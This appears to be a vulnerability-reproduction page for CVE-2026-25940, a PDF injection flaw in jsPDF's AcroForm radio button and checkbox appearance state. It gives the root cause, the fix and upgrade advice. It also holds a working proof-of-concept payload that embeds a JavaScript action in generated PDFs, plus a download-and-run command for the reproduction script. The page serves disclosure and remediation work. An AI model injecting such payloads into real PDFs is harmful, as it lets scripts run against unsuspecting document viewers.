Skip to content

CVE-2026-25940: Verified Repro With Script Download

CVE-2026-25940: jsPDF: PDF Injection in AcroForm RadioButton allows JS Execution

CVE-2026-25940 is verified against jspdf · npm. Affected versions: < 4.2.0. Fixed in 4.2.0. This high reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00102.

REPRO-2026-00102 jspdf · npm Feb 19, 2026 CVE entry ↗ .txt
Severity
HIGH
CVSS
8.1
Reproduced in
23m 38s
Tool calls
141
Spend
$0.63
01 · Overview

What Is CVE-2026-25940?

CVE-2026-25940 is a high-severity PDF injection (improper output encoding, CWE-116) in the jsPDF library's AcroForm module. Unsanitized input can inject arbitrary PDF objects, including JavaScript actions. Pruva reproduced it (reproduction REPRO-2026-00102).

02 · Severity & CVSS

CVE-2026-25940 Severity & CVSS Score

CVE-2026-25940 is rated high severity, with a CVSS base score of 8.1 out of 10.

HIGH threat level
8.1 / 10 CVSS base
Weakness CWE-116 (Improper Encoding or Escaping of Output) — Improper Encoding or Escaping of Output

High — serious impact or readily exploitable. Prioritize remediation.

03 · Affected Versions

Affected jspdf Versions

jspdf · npm versions < 4.2.0 are affected.

How to Reproduce CVE-2026-25940

$ pruva-verify REPRO-2026-00102
or curl -O https://pruva.dev/api/v1/reproductions/REPRO-2026-00102/artifacts/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh
Run in a VM or disposable container. This exploits a real vulnerability.
06 · Proof of Reproduction

Proof of Reproduction for CVE-2026-25940

Reproduced by Pruva's autonomous agents — 141 tool calls over 24 min. Full root-cause analysis and the complete transcript are below.

How the agent worked 533 events · 141 tool calls · 24 min
24 minDuration
141Tool calls
128Reasoning steps
533Events
4Dead-ends
Agent activity over 24 min
Support
17
Repro
211
Variant
301
0:0023:38

Root Cause and Exploit Chain for CVE-2026-25940

Summary

jsPDF versions prior to 4.2.0 contain a PDF injection vulnerability in the AcroForm module. The appearanceState property setter in AcroFormRadioButton and AcroFormCheckBox classes does not properly escape user input, allowing injection of arbitrary PDF objects including JavaScript actions. An attacker can inject malicious JavaScript code that executes when a user interacts with the PDF document, specifically by manipulating the appearance state string to include additional PDF dictionary entries.

Impact

  • Package: jsPDF (npm)
  • Affected Versions: < 4.2.0
  • Fixed Version: 4.2.0
  • CVE: CVE-2026-25940
  • GHSA: GHSA-p5xg-68wr-hm3m
  • CVSS Score: 8.1 (High)
  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
Risk Assessment

This vulnerability allows an attacker to:

  • Inject arbitrary JavaScript code into generated PDF documents
  • Execute malicious scripts when victims interact with the PDF (e.g., hovering over form elements)
  • Potentially exfiltrate data, manipulate the PDF viewer, or perform other malicious actions

Root Cause

The vulnerability exists in the appearanceState property setter in src/modules/acroform.js:

Object.defineProperty(this, "appearanceState", {
    enumerable: true,
    configurable: true,
    get: function() {
        return _AS.substr(1, _AS.length - 1);
    },
    set: function(value) {
        _AS = "/" + value;  // VULNERABLE: Direct concatenation without escaping
    }
});

The setter directly concatenates user input with a "/" prefix without any validation or escaping. This allows an attacker to craft a value that:

  1. Starts with a valid appearance state (e.g., "Off")
  2. Contains additional PDF dictionary entries (e.g., /AA << /E << /S /JavaScript /JS (...) >> >>)
  3. Results in a malformed but parseable PDF object
Fix Commit

The vulnerability was fixed in commit 71ad2db by:

  1. Removing leading "/" if present
  2. Using pdfEscapeName() to properly escape the input
  3. Prepending "/" after escaping
set: function(value) {
    var name = value === undefined ? undefined : value.toString();
    if (name.substr(0, 1) === "/") {
        name = name.substr(1);
    }
    _AS = "/" + pdfEscapeName(name);
}

Reproduction Steps

Using repro/reproduction_steps.sh

The reproduction script performs the following steps:

  1. Clone jsPDF repository at vulnerable version (v4.1.0)
  2. Install dependencies (npm install)
  3. Create test script that:
    • Creates a new PDF document with jsPDF
    • Adds an AcroFormRadioButton with a child option
    • Sets appearanceState to a malicious payload: "Off /AA << /E << /S /JavaScript /JS (app.alert('XSS')) >> >>"
    • Generates PDF output and checks for injected JavaScript
  4. Verify vulnerability by checking if malicious JavaScript is present in the PDF output
Manual Reproduction
const { jsPDF } = require('jspdf');
const doc = new jsPDF();

const group = new doc.AcroFormRadioButton();
group.x = 10; group.y = 10; group.width = 20; group.height = 10;
doc.addField(group);

const child = group.createOption("opt1");
child.x = 10; child.y = 10; child.width = 20; child.height = 10;

// Inject malicious JavaScript action
child.appearanceState = "Off /AA << /E << /S /JavaScript /JS (app.alert('XSS')) >> >>";

const pdfOutput = doc.output();
// Check: pdfOutput.contains('/AA << /E << /S /JavaScript')

Evidence

Log Files
  • /workspace/logs/reproduction.log - Test execution output
  • /workspace/logs/pdf_snippet.txt - Excerpt showing injected JavaScript in PDF
  • /workspace/logs/malicious_test.pdf - Generated malicious PDF file
Key Evidence Excerpts

From the generated PDF (pdf_snippet.txt):

/AS /Off /AA << /E << /S /JavaScript /JS (app.alert('XSS')) >> >>

This shows the malicious JavaScript action (/AA << /E << /S /JavaScript /JS (...) >> >>) was successfully injected into the PDF structure. The /AA key represents an Annotation Appearance dictionary, /E represents an Enter event, and the JavaScript action is configured to execute app.alert('XSS') when the user hovers over the radio button.

Test Results
Testing jsPDF PDF Injection Vulnerability...
Version: 4.1.0

--- Vulnerability Test Results ---
Malicious payload embedded: true
Alert code present: true

[CONFIRMED] Vulnerability exists: JavaScript payload is embedded in the PDF

Recommendations / Next Steps

Immediate Actions
  1. Upgrade to jsPDF 4.2.0 or later - The vulnerability is patched in v4.2.0
  2. Sanitize user input - If immediate upgrade is not possible, validate and sanitize any user input before passing it to the appearanceState property
Input Validation Pattern
// Example sanitization before the fix
function sanitizeAppearanceState(value) {
    // Remove any PDF dictionary markers
    return value.replace(/\/[^\s]+/g, '').trim();
}
Testing Recommendations
  1. Add regression tests that verify the appearanceState setter properly escapes input
  2. Test with various PDF injection payloads including:
    • /AA << /E << /S /JavaScript /JS (...) >> >> (Enter event)
    • /AA << /D << /S /JavaScript /JS (...) >> >> (Down event)
    • Other PDF action types
Additional Notes
Idempotency Confirmation

The reproduction script has been tested twice consecutively and produces consistent results:

  • First run: Successfully cloned, built, and confirmed vulnerability
  • Second run: Successfully used cached repository and confirmed vulnerability

Both runs confirmed the vulnerability with exit code 0.

Affected Properties

Based on the fix commit and advisory, the following properties are affected:

  • AcroFormRadioButton child elements' appearanceState property
  • AcroFormCheckBox AS property

Both properties use the same vulnerable setter pattern that was fixed by the pdfEscapeName() addition.

Limitations
  • The reproduction demonstrates the injection capability; actual JavaScript execution requires opening the PDF in a viewer that supports JavaScript (e.g., Adobe Acrobat Reader)
  • The vulnerability requires user interaction with the malicious PDF (hovering over the form element)

CVE-2026-25940 Reproduction Transcript

The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired.

Full session Replay every step — scrub the timeline or play it back.

Event 1/40
0:002:43
0:00
session startedaccounts/fireworks/models/kimi-k2p5 · ghsa-p5xg-68wr-hm3m · ghsa-p5x
0:07
0:28
0:31
web search
0:34
0:38
0:52
0:52
extract_facts
no facts extracted
0:55
0:55
0:55
supportrepro
2:07
2:07
2:07
2:19
2:19
2:21
2:29
2:31
2:43

Artifacts and Evidence for CVE-2026-25940

Scripts, logs, diffs, and output captured during the reproduction.

No artifacts available

08 · How to Fix

How to Fix CVE-2026-25940

Upgrade jspdf · npm to 4.2.0 or later.

Coming soon

Step-by-step mitigation and hardening guidance for CVE-2026-25940 — configuration checks, workarounds where no patch exists, and how to verify you're protected — is on the way.

10 · FAQ

FAQ: CVE-2026-25940

How is CVE-2026-25940 exploited?

If an application passes unsanitized input into the affected AcroForm properties/methods, an attacker controls PDF object generation and can embed a JavaScript action that fires when the RadioButton/CheckBox is interacted with in the PDF viewer.

Which versions of jsPDF are affected by CVE-2026-25940, and where is it fixed?

jsPDF (npm) versions before 4.2.0 are affected. It is fixed in 4.2.0 — upgrade to 4.2.0 or later.

How can I reproduce CVE-2026-25940?

Download the verified script from this page and run it in an isolated environment against jsPDF < 4.2.0. It sets a crafted appearanceState on an AcroForm field and shows the injected PDF/JavaScript object in the output, which 4.2.0 escapes.
11 · References

References for CVE-2026-25940

Authoritative sources for CVE-2026-25940 — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.